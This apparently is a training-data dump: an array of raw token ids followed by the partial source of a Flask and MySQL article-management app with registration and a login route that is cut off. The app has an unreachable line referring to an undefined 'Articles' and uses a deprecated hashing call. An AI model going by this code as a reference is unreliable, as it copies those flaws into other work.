3515,
5235,
1728,
385,
1059,
3850,
13,
9651,
565,
3515,
29918,
3888,
29889,
2557,
29918,
2311,
2804,
1583,
29889,
1457,
14373,
29918,
2557,
29918,
2311,
29901,
13,
18884,
1596,
703,
2574,
3262,
7968,
3515,
472,
1369,
310,
4840,
1159,
13,
18884,
6773,
13,
9651,
7709,
3515,
29918,
1272,
29892,
3515,
29918,
3888,
13,
13,
1678,
822,
1162,
29894,
29918,
9641,
29918,
2557,
29898,
13,
4706,
1583,
29892,
13,
1678,
1723,
1599,
20504,
1061,
29961,
23215,
552,
3366,
485,
29889,
15167,
4308,
613,
7149,
29895,
29889,
4308,
3401,
19560,
5262,
29901,
13,
4706,
9995,
29909,
15299,
363,
7863,
1602,
6797,
4863,
16608,
29991,
13,
13,
4706,
2648,
4256,
1218,
975,
278,
736,
995,
310,
445,
740,
29892,
366,
674,
19192,
368,
13,
4706,
679,
28138,
1602,
6797,
16608,
297,
278,
883,
310,
263,
10772,
7520,
13987,
4308,
1203,
29889,
29871,
910,
338,
13,
4706,
19192,
363,
16867,
278,
4863,
304,
8086,
29889,
13,
13,
4706,
450,
1473,
2944,
297,
278,
18761,
4133,
491,
445,
740,
29892,
525,
2557,
29918,
3888,
742,
338,
263,
5407,
13,
4706,
731,
310,
15562,
1048,
278,
3515,
408,
4133,
491,
278,
10656,
29889,
29871,
2823,
13,
4706,
518,
29873,
329,
29895,
29889,
4308,
3401,
19560,
3816,
29893,
12339,
687,
314,
29889,
29873,
329,
29895,
29889,
29873,
329,
29895,
29889,
4308,
3401,
19560,
29962,
363,
901,
4902,
1048,
13,
4706,
278,
8118,
310,
445,
1203,
29889,
13,
13,
4706,
7521,
4691,
13,
4706,
411,
5018,
17938,
314,
29889,
29956,
29891,
911,
29902,
2891,
29907,
580,
408,
5018,
911,
29918,
24414,
29883,
29901,
13,
9651,
411,
5018,
911,
29918,
24414,
29883,
29889,
6915,
29918,
392,
29918,
5150,
29898,
10149,
29892,
10656,
29897,
408,
27937,
29901,
13,
18884,
363,
313,
2557,
29892,
3515,
29918,
3888,
29897,
297,
27937,
29889,
3757,
29894,
29918,
9641,
29918,
2557,
7295,
13,
462,
1678,
396,
437,
1554,
411,
278,
4863,
848,
29991,
4248,
13,
4706,
7521,
13,
13,
4706,
512,
1797,
304,
671,
445,
29892,
366,
674,
817,
304,
2601,
518,
19737,
7520,
850,
991,
597,
2272,
485,
29889,
990,
29914,
2640,
29914,
13844,
12495,
13,
13,
4706,
584,
18280,
29901,
319,
15299,
29892,
607,
746,
4256,
630,
975,
29892,
17498,
263,
18761,
6943,
278,
1602,
6797,
1967,
13,
462,
313,
294,
263,
518,
19737,
7520,
13987,
4308,
850,
991,
597,
2272,
485,
29889,
990,
29914,
2640,
29914,
13844,
29914,
2754,
29914,
9641,
29889,
1420,
29937,
485,
29889,
9641,
29889,
2557,
29889,
15167,
4308,
8243,
13,
462,
408,
1532,
408,
15562,
1048,
278,
3515,
313,
262,
278,
883,
310,
263,
13,
462,
518,
29873,
329,
29895,
29889,
4308,
3401,
19560,
3816,
29893,
12339,
687,
314,
29889,
29873,
329,
29895,
29889,
29873,
329,
29895,
29889,
4308,
3401,
19560,
14664,
13,
4706,
9995,
13,
4706,
565,
1029,
338,
6213,
29901,
13,
9651,
12020,
24875,
2392,
29898,
13,
18884,
376,
3757,
29894,
29918,
9641,
29918,
2557,
6858,
10772,
12810,
304,
6088,
4863,
16608,
29889,
376,
13,
18884,
376,
23271,
411,
421,
13096,
2601,
1029,
29952,
322,
1018,
1449,
1213,
13,
9651,
1723,
13,
13,
4706,
775,
29883,
353,
6213,
13,
4706,
363,
3515,
29918,
1272,
29892,
3515,
29918,
3888,
297,
1583,
29889,
3757,
29894,
29918,
9641,
29918,
1272,
7295,
13,
9651,
565,
775,
29883,
338,
6213,
29901,
13,
18884,
775,
29883,
353,
1583,
3032,
485,
29918,
401,
29883,
29918,
3166,
29918,
2557,
3888,
29898,
2557,
29918,
3888,
29897,
13,
9651,
23912,
353,
775,
29883,
29889,
5510,
29898,
2557,
29918,
1272,
29897,
13,
9651,
363,
18203,
297,
23912,
29901,
13,
18884,
16608,
353,
775,
29883,
29889,
13808,
29898,
4058,
300,
29897,
13,
18884,
363,
3515,
297,
16608,
29901,
13,
462,
1678,
7709,
3515,
29892,
3515,
29918,
3888,
13,
13,
1678,
822,
1162,
29894,
29918,
9641,
29918,
2557,
29918,
299,
2378,
29898,
13,
4706,
1583,
29892,
13,
1678,
1723,
1599,
20504,
1061,
29961,
23215,
552,
3366,
9302,
29889,
299,
2378,
613,
7149,
29895,
29889,
4308,
3401,
19560,
5262,
29901,
13,
4706,
9995,
29909,
15299,
363,
7863,
1602,
6797,
4863,
16608,
29991,
13,
13,
4706,
2648,
4256,
1218,
975,
278,
736,
995,
310,
445,
740,
29892,
366,
674,
19192,
368,
13,
4706,
679,
28138,
1602,
6797,
16608,
297,
278,
883,
310,
263,
12655,
1409,
313,
2146,
8270,
363,
13,
4706,
518,
2922,
17357,
29889,
326,
4294,
850,
991,
597,
2922,
17357,
29889,
990,
29914,
13844,
29914,
2754,
19891,
294,
29918,
1885,
29914,
2922,
17357,
29889,
2272,
5317,
29889,
326,
4294,
29889,
1420,
29897,
13,
4706,
470,
518,
11023,
29906,
29889,
326,
4294,
850,
991,
597,
2640,
29889,
3150,
11023,
29889,
990,
29914,
6207,
29914,
1289,
29914,
29881,
29946,
29941,
29914,
12631,
29918,
2272,
29918,
9641,
29918,
4990,
29889,
1420,
467,
13,
13,
4706,
450,
1473,
2944,
297,
278,
18761,
4133,
491,
445,
740,
29892,
525,
2557,
29918,
3888,
742,
338,
263,
5407,
13,
4706,
731,
310,
15562,
1048,
278,
3515,
408,
4133,
491,
278,
10656,
29889,
29871,
2823,
13,
4706,
518,
29873,
329,
29895,
29889,
4308,
3401,
19560,
3816,
29893,
12339,
687,
314,
29889,
29873,
329,
29895,
29889,
29873,
329,
29895,
29889,
4308,
3401,
19560,
29962,
363,
901,
4902,
1048,
13,
4706,
278,
8118,
310,
445,
1203,
29889,
13,
13,
4706,
7521,
4691,
13,
4706,
411,
5018,
17938,
314,
29889,
29956,
29891,
911,
29902,
2891,
29907,
580,
408,
5018,
911,
29918,
24414,
29883,
29901,
13,
9651,
411,
5018,
911,
29918,
24414,
29883,
29889,
6915,
29918,
392,
29918,
5150,
29898,
10149,
29892,
10656,
29897,
408,
27937,
29901,
13,
18884,
363,
313,
2557,
29892,
3515,
29918,
3888,
29897,
297,
27937,
29889,
3757,
29894,
29918,
9641,
29918,
2557,
29918,
299,
2378,
7295,
13,
462,
1678,
396,
437,
1554,
411,
278,
4863,
848,
29991,
4248,
13,
4706,
7521,
13,
13,
4706,
512,
1797,
304,
671,
445,
29892,
366,
674,
817,
304,
2601,
518,
19737,
7520,
850,
991,
597,
2272,
485,
29889,
990,
29914,
2640,
29914,
13844,
4551,
13,
4706,
322,
518,
23749,
850,
991,
597,
23749,
29889,
990,
12495,
13,
13,
4706,
584,
18280,
29901,
319,
15299,
29892,
607,
746,
4256,
630,
975,
29892,
17498,
263,
18761,
6943,
278,
1602,
6797,
1967,
13,
462,
313,
294,
263,
12655,
1409,
511,
408,
1532,
408,
15562,
1048,
278,
3515,
313,
262,
278,
883,
310,
263,
13,
462,
518,
29873,
329,
29895,
29889,
4308,
3401,
19560,
3816,
29893,
12339,
687,
314,
29889,
29873,
329,
29895,
29889,
29873,
329,
29895,
29889,
4308,
3401,
19560,
14664,
13,
4706,
9995,
13,
4706,
565,
7442,
338,
6213,
29901,
13,
9651,
12020,
24875,
2392,
29898,
13,
18884,
376,
3757,
29894,
29918,
9641,
29918,
2557,
29918,
299,
2378,
6858,
12655,
304,
3588,
304,
263,
12655,
1409,
29889,
376,
13,
18884,
376,
23271,
411,
421,
13096,
2601,
12655,
29952,
322,
1018,
1449,
1213,
13,
9651,
1723,
13,
13,
4706,
363,
3515,
29892,
3515,
29918,
3888,
297,
1583,
29889,
3757,
29894,
29918,
9641,
29918,
2557,
7295,
13,
9651,
10153,
353,
3515,
29889,
517,
29918,
299,
2378,
29898,
4830,
543,
29890,
629,
29906,
29946,
1159,
13,
9651,
7709,
10153,
29892,
3515,
29918,
3888,
13,
13,
1678,
822,
1162,
29894,
29918,
9641,
29918,
2557,
29918,
299,
2378,
29918,
2541,
29918,
16202,
29898,
13,
4706,
1583,
29892,
13,
4706,
1002,
29918,
7165,
29918,
2311,
29901,
938,
353,
29871,
29906,
29896,
29900,
29892,
13,
4706,
4216,
29918,
16202,
29901,
28379,
29961,
13,
9651,
851,
13,
4706,
4514,
353,
29850,
2103,
29913,
29916,
29912,
3545,
29913,
426,
16757,
18711,
2167,
29918,
546,
29918,
7496,
29913,
23297,
29914,
29879,
426,
19935,
29918,
546,
29918,
7496,
29913,
383,
7024,
613,
13,
1678,
1723,
1599,
20504,
1061,
29961,
23215,
552,
3366,
9302,
29889,
299,
2378,
613,
7149,
29895,
29889,
4308,
3401,
19560,
29892,
360,
919,
29961,
710,
29892,
938,
5262,
5387,
13,
4706,
9995,
13,
4706,
5538,
4129,
1162,
29894,
29918,
9641,
29918,
2557,
29918,
299,
2378,
947,
29892,
541,
884,
2912,
267,
263,
1353,
13,
4706,
310,
5407,
847,
8031,
4744,
21556,
3704,
11828,
1424,
4183,
403,
29892,
2586,
10492,
29892,
13,
4706,
322,
3515,
2159,
2472,
29889,
29871,
10831,
635,
29892,
565,
366,
6084,
263,
3402,
1347,
304,
278,
13,
4706,
421,
4012,
29918,
16202,
29952,
740,
29892,
445,
2472,
674,
367,
1304,
304,
4216,
263,
1196,
310,
1426,
13,
4706,
11480,
278,
1967,
297,
278,
2246,
29899,
1266,
11155,
411,
445,
4744,
2472,
29889,
13,
13,
4706,
7521,
4691,
13,
4706,
411,
5018,
17938,
314,
29889,
29956,
29891,
911,
29902,
2891,
29907,
580,
408,
5018,
911,
29918,
24414,
29883,
29901,
13,
9651,
411,
5018,
911,
29918,
24414,
29883,
29889,
6915,
29918,
392,
29918,
5150,
29898,
10149,
29892,
10656,
29897,
408,
27937,
29901,
13,
18884,
363,
313,
2557,
29892,
3515,
29918,
3888,
29892,
3515,
29918,
16202,
29897,
297,
27937,
29889,
3757,
29894,
29918,
9641,
29918,
2557,
29918,
299,
2378,
29918,
2541,
29918,
16202,
7295,
13,
462,
1678,
396,
437,
1554,
411,
278,
4863,
848,
29991,
4248,
13,
4706,
7521,
13,
13,
13,
4706,
910,
1158,
4076,
366,
385,
5684,
525,
2557,
29918,
16202,
29915,
995,
1432,
3515,
29892,
607,
338,
263,
13,
4706,
9657,
411,
278,
1494,
6611,
29901,
13,
13,
308,
448,
376,
13193,
29918,
546,
29918,
7496,
29908,
13,
308,
448,
376,
16757,
18711,
2167,
29918,
546,
29918,
7496,
29908,
13,
308,
448,
376,
7165,
29918,
19708,
29908,
13,
308,
448,
376,
19935,
29918,
546,
29918,
7496,
29908,
13,
308,
448,
376,
2103,
29908,
13,
308,
448,
376,
3545,
29908,
13,
13,
4706,
910,
8600,
338,
3625,
297,
278,
4216,
29918,
16202,
1347,
408,
6273,
304,
263,
3017,
13,
4706,
851,
29889,
4830,
580,
1246,
29892,
14372,
366,
304,
9098,
1735,
278,
4744,
1347,
297,
278,
2246,
11155,
13,
4706,
310,
278,
4863,
29889,
13,
13,
4706,
512,
1797,
304,
671,
445,
29892,
366,
674,
817,
304,
2601,
518,
19737,
7520,
850,
991,
597,
2272,
485,
29889,
990,
29914,
2640,
29914,
13844,
23201,
13,
4706,
518,
23749,
850,
991,
597,
23749,
29889,
990,
23201,
322,
518,
19737,
6585,
15633,
850,
991,
597,
29886,
1478,
29875,
29889,
990,
29914,
4836,
29914,
3150,
11023,
29899,
4691,
12495,
13,
13,
4706,
584,
3207,
1002,
29918,
7165,
29918,
2311,
29901,
278,
1353,
310,
18942,
16608,
304,
671,
408,
278,
3474,
740,
13,
462,
462,
363,
20602,
278,
2038,
21556,
29889,
29871,
450,
7200,
278,
3474,
2159,
29892,
13,
462,
462,
278,
5520,
3785,
975,
607,
278,
21556,
526,
4759,
4063,
29889,
29871,
3940,
393,
13,
462,
462,
445,
1158,
338,
451,
2189,
424,
363,
1407,
2919,
3474,
15786,
29889,
13,
4706,
584,
3207,
4216,
29918,
16202,
29901,
565,
6790,
29892,
445,
3017,
3402,
580,
1347,
338,
1304,
304,
4216,
777,
4744,
1426,
13,
462,
965,
297,
278,
7568,
1492,
1361,
11155,
29889,
13,
13,
4706,
584,
18280,
29901,
319,
15299,
29892,
607,
746,
4256,
630,
975,
29892,
17498,
263,
29871,
29941,
29899,
23583,
6943,
278,
1602,
6797,
1967,
13,
462,
313,
294,
263,
12655,
1409,
511,
15562,
1048,
278,
3515,
313,
262,
278,
883,
310,
263,
13,
462,
518,
29873,
329,
29895,
29889,
4308,
3401,
19560,
3816,
29893,
12339,
687,
314,
29889,
29873,
329,
29895,
29889,
29873,
329,
29895,
29889,
4308,
3401,
19560,
11724,
322,
777,
4180,
13,
462,
13964,
313,
262,
278,
883,
310,
263,
9657,
467,
13,
13,
4706,
9995,
13,
4706,
1002,
29918,
7165,
353,
5159,
13,
4706,
363,
3515,
29918,
299,
2378,
29892,
3515,
29918,
3888,
297,
1583,
29889,
3757,
29894,
29918,
9641,
29918,
2557,
29918,
299,
2378,
7295,
13,
9651,
1002,
29918,
7165,
29889,
4397,
29898,
2557,
29918,
3888,
29897,
13,
9651,
565,
7431,
29898,
6112,
29918,
7165,
29897,
1405,
1002,
29918,
7165,
29918,
2311,
29901,
13,
18884,
1002,
29918,
7165,
353,
1002,
29918,
7165,
29961,
2435,
29898,
6112,
29918,
7165,
29897,
448,
1002,
29918,
7165,
29918,
2311,
584,
29962,
13,
13,
9651,
565,
7431,
29898,
6112,
29918,
7165,
29897,
1405,
29871,
29896,
29901,
13,
18884,
1002,
29918,
7165,
29918,
2962,
353,
313,
13,
462,
1678,
1002,
29918,
7165,
29961,
29900,
1822,
16394,
13,
462,
1678,
718,
1002,
29918,
7165,
29961,
29900,
1822,
16394,
29918,
1516,
847,
29871,
29896,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
13,
18884,
1723,
13,
18884,
1002,
29918,
7165,
29918,
355,
353,
313,
13,
462,
1678,
1002,
29918,
7165,
14352,
29896,
1822,
16394,
13,
462,
1678,
718,
1002,
29918,
7165,
14352,
29896,
1822,
16394,
29918,
1516,
847,
29871,
29896,
29918,
29900,
29900,
29900,
29918,
29900,
29900,
29900,
13,
18884,
1723,
13,
18884,
1002,
29918,
7165,
29918,
19708,
353,
1002,
29918,
7165,
29918,
355,
448,
1002,
29918,
7165,
29918,
2962,
13,
18884,
1002,
29918,
7165,
29918,
7827,
29918,
2311,
353,
2533,
29898,
13,
462,
1678,
289,
29889,
2557,
29918,
2435,
363,
289,
297,
1002,
29918,
7165,
7503,
29899,
29896,
29962,
13,
18884,
1723,
29871,
396,
14383,
278,
1833,
5183,
13,
18884,
6262,
29918,
546,
29918,
7496,
353,
938,
29898,
13,
462,
1678,
1002,
29918,
7165,
29918,
7827,
29918,
2311,
847,
1002,
29918,
7165,
29918,
19708,
13,
18884,
1723,
13,
18884,
16608,
29918,
546,
29918,
7496,
353,
938,
29898,
2435,
29898,
6112,
29918,
7165,
29897,
847,
1002,
29918,
7165,
29918,
19708,
29897,
13,
9651,
1683,
29901,
13,
18884,
6262,
29918,
546,
29918,
7496,
353,
29871,
29900,
13,
18884,
1002,
29918,
7165,
29918,
19708,
353,
29871,
29900,
13,
18884,
16608,
29918,
546,
29918,
7496,
353,
29871,
29900,
13,
13,
9651,
22663,
353,
426,
13,
18884,
376,
13193,
29918,
546,
29918,
7496,
1115,
6262,
29918,
546,
29918,
7496,
29892,
13,
18884,
376,
16757,
18711,
2167,
29918,
546,
29918,
7496,
1115,
938,
29898,
13193,
29918,
546,
29918,
7496,
847,
29871,
29896,
29900,
29900,
29900,
511,
13,
18884,
376,
7165,
29918,
19708,
1115,
1002,
29918,
7165,
29918,
19708,
29892,
13,
18884,
376,
19935,
29918,
546,
29918,
7496,
1115,
16608,
29918,
546,
29918,
7496,
29892,
13,
18884,
376,
2103,
1115,
3515,
29918,
299,
2378,
29889,
12181,
29961,
29896,
1402,
13,
18884,
376,
3545,
1115,
3515,
29918,
299,
2378,
29889,
12181,
29961,
29900,
1402,
13,
9651,
500,
13,
13,
9651,
565,
4216,
29918,
16202,
29901,
13,
18884,
1426,
353,
4216,
29918,
16202,
29889,
4830,
29898,
1068,
16202,
29897,
13,
18884,
13850,
29906,
29889,
649,
1626,
29898,
13,
462,
1678,
3515,
29918,
299,
2378,
29892,
13,
462,
1678,
1426,
29892,
13,
462,
1678,
313,
29945,
29900,
29892,
29871,
29945,
29900,
511,
13,
462,
1678,
13850,
29906,
29889,
29943,
1164,
29911,
29918,
4448,
7068,
13282,
29918,
29928,
4897,
1307,
29990,
29892,
13,
462,
268,
29896,
29892,
13,
462,
1678,
313,
29900,
29892,
29871,
29900,
29892,
29871,
29900,
511,
13,
462,
268,
29906,
29892,
13,
462,
1678,
13850,
29906,
29889,
18521,
29918,
6344,
29892,
13,
18884,
1723,
13,
18884,
13850,
29906,
29889,
649,
1626,
29898,
13,
462,
1678,
3515,
29918,
299,
2378,
29892,
13,
462,
1678,
1426,
29892,
13,
462,
1678,
313,
29945,
29900,
29892,
29871,
29945,
29900,
511,
13,
462,
1678,
13850,
29906,
29889,
29943,
1164,
29911,
29918,
4448,
7068,
13282,
29918,
29928,
4897,
1307,
29990,
29892,
13,
462,
268,
29896,
29892,
13,
462,
1678,
313,
29906,
29945,
29945,
29892,
29871,
29906,
29945,
29945,
29892,
29871,
29906,
29945,
29945,
511,
13,
462,
268,
29896,
29892,
13,
462,
1678,
13850,
29906,
29889,
18521,
29918,
6344,
29892,
13,
18884,
1723,
13,
13,
9651,
7709,
3515,
29918,
299,
2378,
29892,
3515,
29918,
3888,
29892,
22663,
13,
13,
1678,
822,
903,
485,
29918,
401,
29883,
29918,
3166,
29918,
2557,
3888,
29898,
1311,
29892,
3515,
29918,
3888,
1125,
13,
4706,
565,
3515,
29918,
3888,
29889,
401,
29883,
29918,
333,
1275,
29871,
29955,
29947,
29901,
13,
9651,
775,
29883,
29918,
978,
353,
376,
29882,
29906,
29953,
29946,
29908,
13,
4706,
25342,
3515,
29918,
3888,
29889,
401,
29883,
29918,
333,
1275,
29871,
29947,
29900,
29901,
13,
9651,
775,
29883,
29918,
978,
353,
376,
354,
7071,
29908,
13,
4706,
1683,
29901,
13,
9651,
775,
29883,
29918,
978,
353,
376,
29882,
29906,
29953,
29946,
29908,
13,
9651,
1596,
29898,
29888,
29908,
29965,
13996,
6021,
775,
29883,
29991,
2355,
426,
2557,
29918,
3888,
29889,
401,
29883,
29918,
333,
1836,
1159,
13,
4706,
396,
694,
1144,
27988,
10772,
2525,
9778,
1490,
1123,
10662,
13,
4706,
775,
29883,
353,
1029,
29889,
3399,
29883,
2677,
29889,
3258,
29898,
401,
29883,
29918,
978,
29892,
376,
29878,
1159,
13,
4706,
736,
775,
29883,
13,
13,
1678,
822,
903,
6915,
29898,
13,
4706,
1583,
29892,
13,
4706,
11815,
29918,
344,
2395,
29922,
29896,
29900,
29892,
13,
4706,
8242,
29918,
333,
29922,
29900,
29892,
13,
4706,
8952,
543,
6406,
613,
13,
4706,
4800,
543,
29966,
25711,
17013,
28341,
13,
4706,
4236,
29918,
9721,
29918,
2311,
29922,
29945,
334,
29871,
29896,
29900,
29906,
29946,
334,
29871,
29896,
29900,
29906,
29946,
29892,
13,
268,
1125,
13,
4706,
1018,
29901,
13,
9651,
1583,
29889,
3859,
353,
10167,
911,
29902,
2891,
29907,
7317,
2792,
29889,
29902,
2891,
29907,
29918,
6007,
8186,
1783,
4214,
13,
9651,
1583,
29889,
7924,
29918,
333,
353,
7149,
29895,
29889,
24414,
29883,
29918,
657,
29918,
7924,
29918,
333,
29898,
1311,
29889,
29873,
329,
29895,
29918,
12120,
29918,
1982,
29897,
13,
9651,
565,
1583,
29889,
7924,
29918,
333,
529,
29871,
29900,
29901,
29871,
396,
1134,
29901,
11455,
13,
18884,
12020,
7149,
29895,
29889,
29911,
329,
29895,
2392,
29898,
1311,
29889,
7924,
29918,
333,
29897,
13,
9651,
1583,
29889,
7924,
29918,
333,
353,
7149,
29895,
29889,
24414,
29883,
29918,
6915,
29918,
1609,
29918,
5416,
29918,
23482,
29898,
13,
18884,
1583,
29889,
29873,
329,
29895,
29918,
12120,
29918,
1982,
29892,
1583,
29889,
26065,
29889,
29886,
29906,
29886,
29918,
333,
29892,
1583,
29889,
7924,
29918,
333,
13,
9651,
1723,
13,
9651,
565,
1583,
29889,
7924,
29918,
333,
529,
29871,
29900,
29901,
29871,
396,
1134,
29901,
11455,
13,
18884,
12020,
7149,
29895,
29889,
29911,
329,
29895,
2392,
29898,
1311,
29889,
7924,
29918,
333,
29897,
13,
13,
9651,
1583,
29889,
7924,
29918,
3198,
580,
13,
13,
9651,
1583,
29889,
3859,
353,
10167,
911,
29902,
2891,
29907,
7317,
2792,
29889,
7520,
29918,
6007,
8186,
1783,
4214,
13,
9651,
1029,
29918,
5083,
29918,
333,
29892,
282,
29876,
29918,
2140,
29918,
1853,
353,
7149,
29895,
29889,
485,
29918,
4645,
29918,
2962,
29898,
13,
18884,
1583,
29889,
29873,
329,
29895,
29918,
12120,
29918,
1982,
29892,
13,
18884,
1583,
29889,
7924,
29918,
333,
29892,
13,
18884,
8952,
29889,
12508,
28945,
25711,
17013,
29958,
4968,
13,
18884,
4800,
29889,
12508,
28945,
25711,
17013,
29958,
4968,
13,
18884,
11815,
29918,
344,
2395,
29892,
13,
18884,
8242,
29918,
333,
29892,
13,
9651,
1723,
13,
13,
9651,
565,
1029,
29918,
5083,
29918,
333,
529,
29871,
29900,
29901,
29871,
396,
1134,
29901,
11455,
13,
18884,
12020,
7149,
29895,
29889,
29911,
329,
29895,
2392,
29898,
485,
29918,
5083,
29918,
333,
29897,
13,
9651,
1583,
29889,
485,
29918,
5083,
29918,
333,
353,
1029,
29918,
5083,
29918,
333,
13,
9651,
1583,
29889,
3859,
353,
10167,
911,
29902,
2891,
29907,
7317,
2792,
29889,
6007,
8186,
1783,
3352,
13,
4706,
7146,
29901,
13,
9651,
565,
1583,
29889,
3859,
2804,
10167,
911,
29902,
2891,
29907,
7317,
2792,
29889,
6007,
8186,
1783,
3352,
29901,
13,
18884,
1583,
29889,
3859,
353,
10167,
911,
29902,
2891,
29907,
7317,
2792,
29889,
6007,
8186,
1783,
4214,
29918,
4519,
29902,
20566,
13,
13,
4706,
1596,
29898,
13,
9651,
285,
29908,
7520,
12477,
7370,
29901,
376,
13,
9651,
285,
29908,
5083,
29918,
333,
3790,
485,
29918,
5083,
29918,
333,
29913,
376,
13,
9651,
285,
29908,
9684,
29918,
5083,
3790,
12719,
29918,
333,
29913,
376,
13,
9651,
285,
29908,
21257,
29918,
2140,
29918,
1853,
3790,
21257,
29918,
2140,
29918,
1853,
29889,
1767,
5038,
13,
4706,
1723,
13,
13,
4706,
7149,
29895,
29889,
485,
29918,
4645,
29918,
842,
29918,
3317,
29918,
9721,
29918,
2311,
29898,
1311,
29889,
29873,
329,
29895,
29918,
12120,
29918,
1982,
29892,
4236,
29918,
9721,
29918,
2311,
29897,
13,
13,
1678,
822,
903,
5150,
29898,
1311,
1125,
13,
4706,
4974,
313,
13,
9651,
1583,
29889,
3859,
1275,
10167,
911,
29902,
2891,
29907,
7317,
2792,
29889,
6007,
8186,
1783,
3352,
13,
4706,
10353,
285,
29908,
6444,
3806,
2106,
304,
367,
6631,
541,
451,
4817,
287,
29936,
2106,
3790,
1311,
29889,
3859,
5038,
13,
13,
4706,
1583,
29889,
3859,
353,
10167,
911,
29902,
2891,
29907,
7317,
2792,
29889,
20656,
29950,
3919,
2965,
1299,
4214,
13,
4706,
1018,
29901,
13,
9651,
411,
1583,
29889,
24414,
24220,
29918,
29885,
1314,
580,
408,
286,
1314,
29901,
13,
18884,
18766,
353,
286,
1314,
29889,
6717,
29918,
601,
16948,
29898,
29968,
29896,
29900,
29900,
29900,
29900,
17918,
3089,
3101,
13,
18884,
18766,
29918,
5327,
353,
10049,
29918,
517,
29918,
601,
24220,
29918,
29896,
29900,
29900,
29900,
29896,
29898,
13,
462,
1678,
18766,
29889,
2914,
3285,
13,
462,
1678,
18766,
29889,
13713,
29918,
20464,
29892,
13,
462,
1678,
1583,
29889,
26065,
29889,
264,
29878,
29892,
13,
462,
1678,
1583,
29889,
26065,
29889,
4704,
29918,
4299,
29892,
13,
462,
1678,
1583,
29889,
26065,
29889,
8628,
29892,
13,
462,
1678,
1583,
29889,
10149,
29889,
6710,
29918,
333,
29892,
13,
462,
1678,
1583,
29889,
10149,
29889,
3150,
29918,
1792,
29918,
333,
29892,
13,
18884,
1723,
13,
18884,
4817,
29918,
5327,
353,
286,
1314,
29889,
6717,
29918,
601,
16948,
29898,
305,
11768,
29918,
5327,
467,
2914,
580,
13,
18884,
4974,
313,
13,
462,
1678,
4817,
29918,
5327,
3366,
9965,
1666,
3108,
1275,
376,
29896,
29908,
13,
18884,
10353,
285,
29908,
16746,
1258,
451,
9269,
29991,
426,
5150,
29918,
5327,
5038,
13,
18884,
1583,
29889,
26065,
29889,
842,
29918,
26065,
29918,
3888,
29898,
5150,
29918,
5327,
3366,
26065,
3401,
20068,
13,
18884,
3770,
1747,
353,
286,
1314,
29889,
6717,
29918,
601,
16948,
29898,
13,
462,
1678,
476,
29896,
29900,
29900,
29945,
29953,
2697,
12375,
1747,
21591,
29898,
13,
462,
4706,
1583,
29889,
1457,
14373,
29918,
2557,
29918,
2311,
29892,
1583,
29889,
1457,
14373,
29918,
8844,
403,
13,
462,
1678,
1723,
13,
18884,
1723,
13,
13,
18884,
286,
1314,
29889,
10685,
1454,
29898,
9778,
1747,
29897,
13,
18884,
1583,
29889,
3859,
353,
10167,
911,
29902,
2891,
29907,
7317,
2792,
29889,
20656,
29950,
3919,
28541,
29918,
14605,
4174,
17896,
2287,
29928,
13,
4706,
7146,
29901,
13,
9651,
565,
1583,
29889,
3859,
2804,
10167,
911,
29902,
2891,
29907,
7317,
2792,
29889,
20656,
29950,
3919,
28541,
29918,
14605,
4174,
17896,
2287,
29928,
29901,
13,
18884,
1583,
29889,
3859,
353,
10167,
911,
29902,
2891,
29907,
7317,
2792,
29889,
20656,
29950,
3919,
28541,
29918,
4519,
29902,
20566,
13,
4706,
736,
1583,
13,
13,
1678,
822,
903,
2218,
6915,
29898,
1311,
1125,
13,
4706,
565,
1583,
29889,
485,
29918,
5083,
29918,
333,
29901,
13,
9651,
7149,
29895,
29889,
485,
29918,
4645,
29918,
9847,
29898,
1311,
29889,
29873,
329,
29895,
29918,
12120,
29918,
1982,
29892,
1583,
29889,
485,
29918,
5083,
29918,
333,
29897,
13,
4706,
1583,
29889,
485,
29918,
5083,
29918,
333,
353,
6213,
13,
4706,
565,
1583,
29889,
7924,
29918,
333,
29901,
13,
9651,
7149,
29895,
29889,
24414,
29883,
29918,
7924,
29918,
5358,
29898,
1311,
29889,
29873,
329,
29895,
29918,
12120,
29918,
1982,
29892,
1583,
29889,
7924,
29918,
333,
29897,
13,
4706,
1583,
29889,
7924,
29918,
333,
353,
6213,
13,
4706,
1583,
29889,
3859,
353,
10167,
911,
29902,
2891,
29907,
7317,
2792,
29889,
23711,
6007,
8186,
1783,
3352,
13,
2
] |
app.py | joshswe/simpleArticleManagementSystem | 0 | 61984 | <reponame>joshswe/simpleArticleManagementSystem
from flask import Flask, render_template, flash, redirect, url_for, session, logging, request
#from data import Articles
from flask_mysqldb import MySQL
from passlib.hash import sha256_crypt
from functools import wraps
from formclass import RegisterForm, ArticleForm
#Create an instance of the flask class
app = Flask(__name__)
# Config MySQL
# Newer versions of Ubuntu (≥16.04): Removing the line bind-address 127.0.0.1 in /etc/mysql/mysql.conf.d/mysqld.cnf.
app.config['MYSQL_HOST']=''
app.config['MYSQL_USER']=''
app.config['MYSQL_PASSWORD']=''
app.config['MYSQL_DB']=''
app.config['MYSQL_CURSORCLASS']='DictCursor'
app.config['MYSQL_PORT'] = 3306
# Initialize MySQL
mysql = MySQL(app)
# Index
@app.route('/')
def index():
return render_template('home.html')
# About
@app.route('/about')
def about():
return render_template('about.html')
# Articles
@app.route('/articles')
def articles():
# Create cursor
cur = mysql.connection.cursor()
# Get articles
result = cur.execute("SELECT * FROM articles")
articles = cur.fetchall() # This will be fetched in dictionary form
if result > 0:
return render_template('articles.html',articles=articles)
else:
msg = 'No Articles Found'
return render_template('articles.html', msg=msg)
#Close connection
cur.close()
return render_template('articles.html', articles = Articles)
#Single Article
@app.route('/article/<string:id>/')
def article(id):
# Create cursor
cur = mysql.connection.cursor()
# Get article
result = cur.execute("SELECT * FROM articles WHERE id = %s",[id])
article = cur.fetchone()
return render_template('article.html', article=article)
# User Register
@app.route('/register',methods=['GET','POST'])
def register():
form = RegisterForm(request.form)
if request.method == 'POST' and form.validate():
name = form.name.data
email = form.email.data
username = form.username.data
password = sha256_crypt.encrypt(str(form.password.data))
# Create cursor
cur = mysql.connection.cursor()
# Execute Query
cur.execute("INSERT INTO users(name,email,username,password) VALUES (%s,%s,%s,%s)",(name,email,username,password))
# Commit to DB
mysql.connection.commit()
# Close connection
cur.close()
flash('You are now registered and can log in', 'success')
return redirect(url_for('login'))
return render_template('register.html', form=form)
# User login
@app.route('/login',methods=['GET','POST'])
def login():
if request.method == 'POST':
# Get Form Fields
username = request.form['username']
password_candidate = request.form['password']
# Create Cursor
cur = mysql.connection.cursor()
# Get user by username
result = cur.execute("SELECT * FROM users WHERE username = %s",[username])
app.logger.info(result)
if result > 0:
# Get stored hash
data = cur.fetchone()
